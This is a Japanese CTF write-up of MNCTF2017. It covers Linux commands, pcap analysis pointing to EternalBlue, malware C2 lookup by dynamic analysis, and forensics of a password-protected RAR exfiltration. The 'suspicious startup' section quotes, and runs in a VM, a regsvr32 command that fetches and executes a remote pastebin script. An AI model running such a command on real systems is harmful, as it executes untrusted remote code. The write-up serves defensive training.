MNCTF2017 WriteUp

# はじめに
2017年7月6日に macnica networks day (mnd) 2017 で開催された「情シス担当のためのセキュリティコンテスト MNCTF」の WriteUp です。
練習問題を含めると10問（実質9問）、制限時間は90分です。
きっと、他にWriteUpを書かれる方もいらっしゃるでしょうし、運営側の凌さんもいずれWriteUpを書かれるかも、とおっしゃっていたので、一つの参考例としていただければと思います。
極力画面を入れていくのと、思い悩んだ経過を含めていますので、更新のたびにかなり長くなっていくと思います。
ピンポイントに解法だけを知りたい方にはご面倒をおかけします。申し訳ありません。

![20170706 MNCTF2017 WriteUp 00-10.png](https://qiita-image-store.s3.amazonaws.com/0/191175/1af280b6-7080-45c5-ba88-93b0a3c6baef.png)

※ 正解者数に応じて配点が変わるシステム。

# 昇進試験 ☆☆★ MISC 100

Linuxのコマンドに関する問題で、クロスワードに1文字ずつ文字列を入力していって、完成させるとFLAGが表示される仕組みです。

- ヨコ2 : chmod
    - コマンドを実行する前後でパーミッションが変わっている点に着目しました。
- ヨコ4 : factor
    - 素因数分解した結果を出力しているので、そういったコマンドをGoogle検索しました。
    - はるか彼方の記憶から素因数分解という言葉を引っ張り出した時点でHPを10ほど消費。
- ヨコ7 : uptime
    - コマンドの出力結果が少ないのでGoogle検索で探すのが難しかったです。
- タテ1 : pstree
    - 最初はディレクトリ/ファイルのツリー表示に見えたのですが、答えは6文字のコマンドなので、よくよく出力結果の文字列を眺めると、どうやらプロセス名のようだと気づきます。
    - プロセスのツリー表示をさせるコマンドを調べました。
- タテ2 : cal
    - カレンダーを出力するコマンドです。
    - なお2020年7月24日は東京五輪の開会式の日だそうです。
- タテ3 : diff
    - 1回目のcatと2回目のcatの結果の差分を取得している点に気づけば大丈夫かと。
- タテ5: column
    - CSVのファイルをタブ区切りに変換するコマンドとのこと。
- タテ6 : top
    - Windowsのタスクマネージャに該当するコマンドとのこと。

# 通信記録 ☆☆★ NETWORK 100

問題は下記のとおり。

> 株式会社マクニキで基幹サーバが乗っ取られるという事件が発生しました。情シス担当のてしがわら君は侵入されたサーバのパケットキャプチャを見ていました。脆弱性を突かれて侵入されたようです。
パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。

pcapファイルをダウンロードし、中身を見て、サーバーに対する攻撃で突かれた脆弱性の名前を答えるという問題です。

▼ 準備するもの
- WireShark
    - とりあえずpcapと言えばWireSharkなので、とりあえずこれだけで頑張ってみようと思います。

▼ 全体を眺める

![vmhh (Windows 10)-2017-07-08-11-42-44.png](https://qiita-image-store.s3.amazonaws.com/0/191175/b5be7b2a-5027-603e-a09e-8b8cee2ae412.png)

pcapをWireSharkで開くと 43,717 パケットあります。さすがに単純にスクロールさせて脆弱性に気づくことは難しそうです。
難易度と問題文の「突かれた（サーバーの）脆弱性」というキーワードから、Web / ファイル共有 / 認証 あたりではないか、と当たりを付けました。

なお、pcapの初っぱなにTLSv1のパケットが出てくるのでHeartBleedかと思いましたが、そんな簡単な答えではありませんでした。

色々と見ていく前に、まずはpcapデータの概要を見てみます。
[統計]メニューの[キャプチャファイルプロパティ]を実行します。

![vmhh (Windows 10)-2017-07-08-13-30-04.png](https://qiita-image-store.s3.amazonaws.com/0/191175/bcd1ad8a-c3de-b90c-26e7-9976969e4d9e.png)

プロパティ情報から、以下の点がわかりました。

- キャプチャ日時が2017年5月16日であること。
- 経過時間、すなわちキャプチャしていた時間が約10分間であること。
- その他の統計情報からは、これといって当たりをつける情報が得られそうにないこと。

キャプチャ日時がCTFの約2ヶ月前ですから、日時情報には信憑性がありそうですし、脆弱性の「名前」を答える問題なので、比較的有名な（もしくは話題になった）脆弱性の可能性がありそうです。

続いては、以下の点に着目してみます。

- 通信している端末（エンドポイント・終端）がどの程度あるか
- それらのエンドポイント間の通信量はどの程度あるか
- 不正なパケットがないか

▼ エキスパート情報を参照する

私の場合は、まず不正なパケットがないかをWireSharkのエキスパート機能で確認してみました。
WireSharkの [分析] メニュー内にある [エキスパート情報] を実行します。

![vmhh (Windows 10)-2017-07-08-13-20-42.png](https://qiita-image-store.s3.amazonaws.com/0/191175/85486256-7751-2920-1919-036bb1ac0327.png)

すると 重要度:Warning に大量の Connection reset (RST) があるようです。

![vmhh (Windows 10)-2017-07-08-13-22-56.png](https://qiita-image-store.s3.amazonaws.com/0/191175/4b6f00d5-89d7-c18b-3a01-66416bc5aaf2.png)

445番ポートからのRSTが多いということは、ファイルサーバーに対する攻撃が行われている可能性がありそうです。

▼ エンドポイント（終端）情報を参照する

続いて、エンドポイント（終端）の情報を見てみます。
[統計]メニューの[終端]を実行します。

![vmhh (Windows 10)-2017-07-08-13-41-58.png](https://qiita-image-store.s3.amazonaws.com/0/191175/56226164-c604-845a-3ed3-28830ee5c86c.png)

プライベートIPアドレスとグローバルIPアドレスが混ざってて、かつエンドポイント数がものすごく多い印象です。
無理矢理でも当たりを付けたいので、IPv4タブを開いて、PacketsやBytesの降順（数値が大きい順）でソートしてみると、上位2つのエンドポイントだけ突出して大量のパケット/容量をやりとりしていることがわかります。
CTFを難しくするために、大量のパケット（脆弱性を突いた攻撃ではなく、答えに無関係なパケット）を紛れ込ませている可能性もありますが、不審点の一つではあります。

なお余談ですが、MaxMind社からIP Geolocationデータ（無償）をダウンロードして、WireSharkにデータフォルダを設定しておくと、先ほどのエンドポイント情報画面が次のようになります。

![vmhh (Windows 10)-2017-07-08-13-53-59.png](https://qiita-image-store.s3.amazonaws.com/0/191175/812bef71-c93e-0dd6-16e6-1b4ceb028c0b.png)

グローバルIPアドレスを終端とする通信では、国名や地域が表示されるようになるのと、右下にある[マップ]ボタンをクリックすると、次のように地図表示させることもできます。

![vmhh (Windows 10)-2017-07-08-13-54-10.png](https://qiita-image-store.s3.amazonaws.com/0/191175/ff536705-7995-5be3-324e-202027ae6d7d.png)

これらのGeoIPデータから、何か不審点が出てくるかと期待したのですが、このアプローチでは無理だと思いました。

エンドポイント情報画面で、ここでは通信量の多い 10.211.55.32 を右クリックして、[フィルタとして適用]メニューにある[選択済み]をクリックします。
そうすると、パケット一覧画面にフィルタが適用されますので、エンドポイント情報画面を閉じてパケット一覧画面を表示させると、次のような画面になります。
これでも25,000パケット以上あるので、もう一段階、アタリを付けるための情報を参照してみることにします。

▼ プロトコル階層統計情報を参照する

フィルタを適用している状態で、続いてプロトコル別の統計情報を参照してみます。
[統計]メニューにある[プロトコル階層統計]を実行します。

![vmhh (Windows 10)-2017-07-08-14-28-57.png](https://qiita-image-store.s3.amazonaws.com/0/191175/da4ce173-d29c-b9c1-89db-21d2cf3b83e7.png)

やはり気になるのは Secure Sockets Layer (SSL) に関する通信と SMB に関する通信が多い点です。
ここでSSL通信に着目して、答えはHeartBleedだと思って、1回お手つきする場合もあります（私は初っぱなでお手つきしたタイプ）。

ではもう一つのSMBの通信に関する脆弱性かな、と当たりを付けてみます。

先ほどのフィルタ適用と同じ手順になりますが、SMBのところを右クリックして[フィルタとして適用]メニューにある[選択済み]をクリックします。

すると、適用フィルタが smb に変わって、SMBに関する通信だけが表示されます。

▼ SMB通信に着目する

SMB通信に関するパケットだけが表示されましたので、少し眺めてみます。

![vmhh (Windows 10)-2017-07-08-14-37-59.png](https://qiita-image-store.s3.amazonaws.com/0/191175/e73bbee0-2478-c4d5-617b-fcf9b4a53bc9.png)

すると 10.211.55.32 から 10.211.55.34 に対して、執拗なチャレンジが行われているっぽい状況が確認できます。
しばらくスクロールしてみると、次のようなやりとりがしばらく続いていることに気づきます。

![vmhh (Windows 10)-2017-07-08-14-41-08.png](https://qiita-image-store.s3.amazonaws.com/0/191175/459e4a00-424c-113d-2a5b-b781eebb2524.png)

どうやらSMBのエラーが多く発生しているようです。
エラーの内容は STATUS_NOT_IMPLEMENTED と言っています。
脆弱性の英単語略称を表す vuln とのAND条件でGoogle検索してみます。

![vmhh (Windows 10)-2017-07-08-14-43-33.png](https://qiita-image-store.s3.amazonaws.com/0/191175/a5924a32-87da-0580-6642-a1abd380f0b3.png)

ん！　ということは WannaCry が突く脆弱性の「名前」ということですね。
WannaCry とか DOUBLEPULSAR とか Shadowなんとかという答えを入れる場合もありますが、落ち着いて脆弱性の名前を調べると EternalBlue という名前がついていることがわかります。

**よって答え（フラグ）は EternalBlue となります。**

▼ 余談
ある程度の段階（例えばSMB通信に当たりを付けた頃）で、パケットのキャプチャ日時を思いだして、ここ最近話題になった脆弱性で、かつSMBに関するもの...と連想すれば、答えにたどり着くこともできた訳ですが、そこまで思いが至らず...

WireSharkを使って当たりを付けたり、パケットの内容にフラグが埋め込まれている場合には、他にも以下のような機能を利用することができます。

(1) Follow TCP Stream

まずは [分析]-[追跡]-[TCPストリーム機能] です。
例えば、情報流出に関する問題のpcapファイルから、流出したデータを抜き出すとか、マルウェアを抜き出す時に使えます。

![vmhh (Windows 10)-2017-07-08-16-36-15.png](https://qiita-image-store.s3.amazonaws.com/0/191175/14d1ea98-88d6-cb73-823a-f023286cf434.png)

(2) 入出力グラフ

次は [統計]-[入出力グラフ] です。
時間の経過による毎秒パケット数の変化を把握できますので、通信量の変化などをもとに当たりを付けたい時に使えます。

![vmhh (Windows 10)-2017-07-08-16-36-38.png](https://qiita-image-store.s3.amazonaws.com/0/191175/71c67400-27a9-c5ef-8112-21d73f7fd4dd.png)

# 不審起動 ☆★★ MALWARE 100

レジストリのRunキーに `"regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"` が登録されて、外部と不正通信をするので、その通信先FQDNを答える問題です。

▼ 動的解析でやってみる

「外部と通信する」条件で「FQDN」を答えるのであれば、WireSharkでパケットキャプチャしている状態で実際にやってみて、DNSクエリを拾えればいいのでは？　という短絡的な考えに至ります。
ただし、仮想環境など、マルウェアに感染しても問題ない環境で行いましょう。

後々面倒なので（パケットキャプチャしている最中余計なDNSクエリを極力出さないため）、事前に `regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll` という文字列をコピーしておきます。

そして、次の画面のように、WireSharkを起動して、キャプチャフィルタに `udp and port 53` と入力して、キャプチャを開始します。

![vmhh (Windows 10)-2017-07-08-17-31-36.png](https://qiita-image-store.s3.amazonaws.com/0/191175/4cd06be9-53e8-06f7-e36f-56368bb9111b.png)

キャプチャが開始されたところで、コマンドプロンプトを起動して、コマンドをペーストして実行してみます。

![vmhh (Windows 10)-2017-07-08-17-40-16.png](https://qiita-image-store.s3.amazonaws.com/0/191175/c7aab0cd-6549-df00-b5e3-c43a6b24f76d.png)

すると、何やら mtip.macnica.net の名前解決をしようとしているところを発見できました。

**よって答え（フラグ）は mtip.macnica.net となります。**

▼ スクリプトを解析してみる

別の解法として、スクリプトを解析する方法です。
これは、出題元であるマクニカネットワークスの凌さんが解説してくださった方法です。

Pastebinのソースを表示させるとスクリプトになっていました。
このうち通信先を指定する際に使いそうな文字列 url に当たりを付けます。
エンコードを解除（デコード）するために、これをブラウザ（ここではChromeを使いました）の開発者ツール（F12キーで起動できます）のConsoleに貼り付けます。

![vmhh (Windows 10)-2017-07-08-17-45-39.png](https://qiita-image-store.s3.amazonaws.com/0/191175/c82e516e-385f-b402-3f7d-22135edb816c.png)

すると、めでたく通信先が出てきました。

# 脅迫文書 ☆☆★ MISC 100 

.onion ドメインのURLがメモ用紙に記載されているので、Torブラウザをインストールしてアクセスしてみます。
アクセスできると、パスワードを求められるので、これもメモ用紙の下部に書かれているパスワードっぽいのを入力してみると、めでたく内容を見ることができました。

![vmhh (Windows 10)-2017-07-08-18-16-51.png](https://qiita-image-store.s3.amazonaws.com/0/191175/04de659c-d603-0029-6d01-ebd4a9e83671.png)

**よって答え（フラグ）は TORPASTEBIN となります。**

# 宛先暗号 ☆★★ CRYPTO 100

マルウェアの通信先FQDNを答える問題です。
ジャンルがCRYPTOですから、暗号化を解除しなくてはならない気がしますが、これも先ほどの問題と同様に通信先であるFQDNを答える問題なので、とりあえず動態解析でやってみることにします。

提供されるデータは以下の3点でした。

- svchost.exe(マルウェア本体)
- vm.dat(マルウェアと同じディレクトリにあったファイル)
- EDR_log.csv(エンドポイント対策のログ)

マルウェア本体が残っていて、なおかつエンドポイント対策製品のログがあります。さらにヒントとして、

> ヒント）svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。

とのことですので、エンドポイント製品のログから、まずはこのマルウェア svchost.exe と vm.dat に関連するログを探すところから取り組むことにしたいと思います。

エンドポイント製品のログをサクラエディタで開いて vm.dat をキーワードに指定して検索すると 648 行目に

```
06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe  abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168
```

というログを発見することができます。

今回は、マルウェアと同じディレクトリにあったファイルの名前で検索すれば、すんなりと当該ログを発見できましたが、他のアプローチとして、考えられるのは以下のとおりです。

- マルウェアである svchost.exe のハッシュ値を算出してエンドポイント製品のログを検索します。
    - svchost.exeがログイン中のユーザーアカウントで起動しているものをフィルタ機能で探すのもよいかと思います。
- マルウェアが動作していたプロセスIDを特定したら、そのプロセスIDでフィルタしたり、同じ親プロセスを持つ兄弟プロセスでフィルタして、不審なプロセスによる動きを確認します。

ここで、マルウェアが実行したコマンドラインが `svchost.exe abcd vm.dat` と判明したので、先ほどと同じようにWireSharkを起動した状態で、コマンドプロンプトで実行してみます。

![vmhh (Windows 10)-2017-07-08-21-31-42.png](https://qiita-image-store.s3.amazonaws.com/0/191175/f6613239-7e7b-291a-e9f6-a91b09a0a03a.png)

すると、何やら shinobot.com の名前解決をしようとしているのが確認できます。

**よって、答え（フラグ）は shinobot.com となります。**

IDA Pro使ったり、デバッガ使ったりする解法もあるようですが、私は、問題文で「○○したら、××へ通信した」というような、具体的な挙動に関する表記と、その挙動を再現できる可能性があれば、とりあえず動的解析やってみようと思うタイプなので、今回は結果オーライな感じです。

# 攻撃痕跡 ☆☆★ FORENSICS 100

マルウェア感染事案が発生し、情報が流出した模様とのこと。
エンドポイント対策製品のログと、攻撃者が残したと思われるファイルをもとに、流出したファイルの中で最も重要と思われるファイルの名前を答えるという問題です。

とっかかりとしては、次のいずれかのアプローチになるのではないかと思います。
なお、情報流出事案においては、攻撃者はファイル圧縮ツールとして RAR を多用することが知られているので、そこを考慮しつつ、アプローチを検討します。

- エンドポイント対策製品のログを起点とする場合
    - 攻撃者が残したファイルをもとに絞り込んで、攻撃者の行動をトレースしつつ、怪しい動き（ファイルの外部転送や圧縮行為）を探す
    - どうせRAR使っているだろうし、パスワードを付けるだろうから、そういったRARコマンドのコマンドラインオプションで探してみる
- 攻撃者が残したファイルを起点とする場合
    - 残されたファイルがそれほど多くなければ、どういったファイルが残されているか確認していく
    - 攻撃に使用されたツール類がわかれば、攻撃者の意図も見えてくるのではないか
    - 中には持ち出そう（流出した）ファイルが拡張子を偽装した状態で残されている可能性がある

こんな感じでしょうか。

今回は、エンドポイント製品のログを起点としてみたいと思います。

エンドポイント製品のログファイルをExcelで読み込みます。
攻撃者が残したファイルのファイル名で、ログのCommand Lineのフィルタに「追加」していくと、次の図のように、ちょっと変わったログを発見できます。

![キャプチャ.PNG](https://qiita-image-store.s3.amazonaws.com/0/191175/037e011f-8e2f-f091-a970-d2468350cfad.png)

このコマンドラインを見ると -hp オプションの後に続けて何やら良からぬ文字列が続いています。
これは RAR の Hidden Password を付けるコマンドオプションだと気づけば、以下の点が判明するはずです。

**jvm.datはAdministratorユーザーのデスクトップにあったExcelファイルを圧縮したRARファイルであり、付与されたパスワードも判明した。**

なので、情報流出を想定した問題であれば、最初からエンドポイント対策製品のログファイルを -hp で検索するのもアプローチの一つです。

ここで jvm.dat の拡張子を .rar に変更するなりして、解凍すると、以下のファイルが現れます。

- 2017want.xlsx
- MpCmdRun.log
- MpSigStub.log
- serverpassword.xlsx

ここで、いずれかのファイル名が答えとなるのですが、他に攻撃者が残したファイルの中に以下のようなファイルがありました。

- Get-PassHashes.ps1
- sam.hive
- system.hive

こういった点から、攻撃者はサーバーのアカウント情報を狙っていたものと推測できます。

**よって、答え（フラグ）は serverpassword となります。**